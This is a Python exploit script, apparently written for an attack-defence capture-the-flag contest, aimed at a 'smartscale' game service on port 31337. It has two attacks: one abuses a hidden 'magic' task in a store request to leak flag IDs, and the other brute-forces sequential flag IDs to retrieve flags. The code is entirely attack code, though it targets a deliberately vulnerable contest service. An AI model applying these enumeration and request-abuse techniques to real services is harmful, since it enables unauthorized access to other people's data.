#!/usr/bin/env python3
import json
import telnetlib
import sys

class SmartscaleExploiter(object):

    def __init__(self, ip):
        self.sock = None
        self.host = ip
        self.port = 31337

        self.buffer_size = 4096
        self.encoding = 'utf-8'

    """
    ################
        EXPLOITS
    ################
    """

    def exploitReflection(self):
        result = None

        try:
            self.connect()
            self.transmit(json.dumps({
                'action' : 'store',
                'data' : {
                    'weight' : 70,
                    'size' : 1.8,
                    'fat_quotient' : 0.2,
                    'comment' : 'FLAG_WILL_NEVER_BE_SAVED',
                    'tasks' : [
                        'magic'
                    ]
                }
            }))
            result = json.loads(self.recieve())
        except Exception as e:
            print('[-] Reflection exploit did not work! Following exception occured: {}'.format(e.args))
        finally:
            self.close()

        if result and 'status' in result and result['status'] == 'ok' and 'flag_ids' in result:
            for flag_id in result['flag_ids']:
                self.retrieveFlag(flag_id)

    def exploitFlagid(self):
        flagId = 0x5f1eabc89d209a2;
        countFailed = 0
        try:
            while countFailed < 4:
                if self.retrieveFlag(hex(flagId)[2:]):
                    flagId += 0xa
                else:
                    countFailed += 1
        except Exception as e:
            print('[-] Flagid exploit did not work! Following exception occured: {}'.format(e.args))
        finally:
            self.close()


    """
    ######################
        HELPER METHODS
    ######################
    """

    def connect(self):
        self.sock = telnetlib.Telnet(self.host, self.port, timeout=30)

    def close(self):
        if isinstance(self.sock, telnetlib.Telnet):
            self.sock.close()
        self.sock = None

    def transmit(self, text):
        text = text
        if isinstance(text, bytes):
            self.sock.write(text)
        else:
            self.sock.write(bytes(text, self.encoding))

    def recieve(self):
        return self.sock.read_all().decode(self.encoding)

    def retrieveFlag(self, flag_id):
        try:
            self.connect()
            self.transmit(json.dumps({
                'action' : 'retrieve',
                'flag_id' : flag_id
            }))
            result = json.loads(self.recieve())
            if 'status' in result and result['status'] == 'ok' and 'data' in result:
                data = result['data']
                if 'comment' in data and data['comment'].startswith('FAUST'):
                    print(data['comment'])
                    return True
        except Exception as e:
            print('[-] Failed to retrieve flag! Following exception occured: {}'.format(e.args))
        finally:
            self.close()

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: ./exploit.py <ip_address> (reflection|flagid)')
    else:
        exploiter = SmartscaleExploiter(sys.argv[1])
        if sys.argv[2] == 'reflection':
            exploiter.exploitReflection()
        elif sys.argv[2] == 'flagid':
            exploiter.exploitFlagid()
        else:
            print('Invalid option "' + sys.argv[2] + '"')
